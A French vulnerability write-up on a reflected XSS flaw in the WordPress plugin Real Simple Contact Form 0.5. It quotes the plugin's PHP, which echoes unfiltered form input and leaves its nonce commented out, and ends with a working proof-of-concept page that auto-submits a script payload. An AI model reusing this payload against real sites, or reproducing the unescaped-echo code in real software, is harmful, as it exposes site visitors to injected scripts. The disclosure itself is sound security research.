Présentation du plugin
Le plugin Real Simple Contact Form se présente de cette façon :
Create contact form easily for wordpress blog. No fancy settings. Just install plugin and contact form is ready.
La version testée est la 0.5 et date d’il y a 12 ans au moment de ces lignes.
La vulnérabilité
Dans le script principal real-simple-contact-form.php
on trouve un hook qui va se charger de créer un nouveau post sur le blog :
1
register_activation_hook(__FILE__,"create_contact_page");
Le post en question le voici :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/*Create contact form*/
function create_contact_page ()
{
global $user_ID;
$page['post_type'] = 'page';
$page['post_content'] = '[realsimplecontactform]';
$page['post_parent'] = 0;
$page['post_author'] = $user_ID;
$page['post_status'] = 'publish';
$page['post_title'] = 'Contact Us';
$pageid = wp_insert_post ($page);
if ($pageid == 0) { /* Page Add Failed */ }
}
Le contenu [realsimplecontactform]
correspond à un shortcode que le plugin définit aussi :
1
2
/*Add short code*/
add_shortcode( 'realsimplecontactform', 'contact_form_function' );
C’est cette fonction (qui sera appelée quand le shortcode est croisé par Wordpress) qui est vulnérable :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
/*Add contact form*/
function contact_form_function( $atts ) {
if (isset($_POST['real_simple_contact_form_data']))
{
if (empty($_POST['contact_name']))
{
echo "Please Enter Name";
}
elseif (empty($_POST['contact_email']))
{
echo "Please Enter Email Address";
}
elseif (!filter_var($_POST['contact_email'], FILTER_VALIDATE_EMAIL)) {
echo "Please Enter Correct Email Address";
}
elseif (empty($_POST['contact_subject']))
{
echo "Please Enter Subject";
}
elseif (empty($_POST['contact_desc']))
{
echo "Please Enter Description";
}
else {
/*everything ok.. lets process */
$name = $_POST['contact_name'];
$email_id = $_POST['contact_email'];
$subject = $_POST['contact_subject'];
$desc = $_POST['contact_desc'];
$retmsg = process_contact_form($name,$email_id,$subject,$desc);
}
$name = $_POST['contact_name'];
$email_id = $_POST['contact_email'];
$subject = $_POST['contact_subject'];
$desc = $_POST['contact_desc'];
}
else { $name = "";
$email_id = "";
$subject = "";
$desc = "";
}
?>
<form method="post" action="<?php echo $_SERVER["REQUEST_URI"]; ?>">
<p>Name : <br />
<input style="width:250px;" name="contact_name" type="text" value="<?php echo $name; ?>" /> <br />
<p>Email Address : <br />
<input style="width:250px;" name="contact_email" type="text" value="<?php echo $email_id; ?>" /><br />
<p>Subject : <br />
<input style="width:250px;" name="contact_subject" type="text" value="<?php echo $subject; ?>" /><br />
<p>Description : <br />
<textarea name="contact_desc" rows="8" cols="50" ><?php echo $desc; ?></textarea> <br />
<!-- <?php wp_nonce_field('ecfa261455','ecfnf'); ?> -->
<div class="submit">
<input type="submit" name="real_simple_contact_form_data" value="<?php echo 'Send'; ?>" />
</div>
<hr />
</form>
<?php
}
On voit qu’en cas d’erreur de saisie sur le formulaire de contact, les données reçues sont remises dans les champs pour que l’utilisateur n’ait pas à les retaper, ce qui est très bien.
Sauf que… aucun filtrage n’est fait sur la nature des données soumises qui sont affichées telles quelles et ouvrent la porte à une vulnérabilité XSS.
PoC :
1
2
3
4
5
6
7
8
9
10
11
12
<html>
<body>
<form id="myForm" method="POST" action="http://localhost:8000/?page_id=6">
<input type="hidden" name="contact_name" value=""><ScRiPt>alert(/XSS/)</sCrIpT>" />
<input type="hidden" name="contact_email" value="whatever" />
<input type="hidden" name="contact_subject" value="default" />
<input type="hidden" name="real_simple_contact_form_data" value="Send" />
<input type="hidden" name="contact_desc" value="Hi there!" />
</form>
<script>document.createElement('form').submit.call(document.getElementById('myForm'));</script>
</body>
</html>